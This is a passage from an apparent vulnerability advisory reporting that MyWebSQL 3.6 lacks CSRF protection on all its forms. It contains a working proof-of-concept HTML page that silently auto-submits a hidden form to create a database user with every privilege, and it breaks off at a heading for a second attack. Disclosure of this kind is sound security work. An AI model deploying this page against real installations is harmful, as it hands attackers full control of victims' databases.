2. Vulnerability Description

None of the forms of MyWebSQL 3.6 have CSRF protection, which means that an
attacker can perform actions for the victim if the victim visits an attacker
controlled site while logged in.

3. Proof of Concept

Create new user:


<html>
  <body>
    <form name="myform" action="http://localhost/mywebsql/?q=wrkfrm&type=usermanager" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="type" value="usermanager" />
      <input type="hidden" name="id" value="add" />
      <input type="hidden" name="name" value="
" />
      <input type="hidden" name="query" value="{"username":"foobar","hostname":"localhost","pwd":"foobar"}" />
      <input type="hidden" name="username" value="foobar" />
      <input type="hidden" name="hostname" value="localhost" />
      <input type="hidden" name="userpass" value="foobar" />
      <input type="hidden" name="userpass2" value="foobar" />
      <input type="hidden" name="Alter_priv" value="on" />
      <input type="hidden" name="Alter_routine_priv" value="on" />
      <input type="hidden" name="Create_priv" value="on" />
      <input type="hidden" name="Create_routine_priv" value="on" />
      <input type="hidden" name="Create_tmp_table_priv" value="on" />
      <input type="hidden" name="Create_view_priv" value="on" />
      <input type="hidden" name="Create_tablespace_priv" value="on" />

      <input type="hidden" name="Delete_priv" value="on" />
      <input type="hidden" name="Drop_priv" value="on" />
      <input type="hidden" name="Event_priv" value="on" />
      <input type="hidden" name="Execute_priv" value="on" />
      <input type="hidden" name="File_priv" value="on" />
      <input type="hidden" name="Grant_priv" value="on" />
      <input type="hidden" name="Index_priv" value="on" />
      <input type="hidden" name="Insert_priv" value="on" />
      <input type="hidden" name="Lock_tables_priv" value="on" />
      <input type="hidden" name="Process_priv" value="on" />
      <input type="hidden" name="References_priv" value="on" />

      <input type="hidden" name="Repl_slave_priv" value="on" />
      <input type="hidden" name="Select_priv" value="on" />
      <input type="hidden" name="Show_db_priv" value="on" />
      <input type="hidden" name="Show_view_priv" value="on" />
      <input type="hidden" name="Shutdown_priv" value="on" />
      <input type="hidden" name="Super_priv" value="on" />
      <input type="hidden" name="Trigger_priv" value="on" />
      <input type="hidden" name="Update_priv" value="on" />
    </form>
<script>document.myform.submit();</script>
  </body>
</html>

Execute any query:
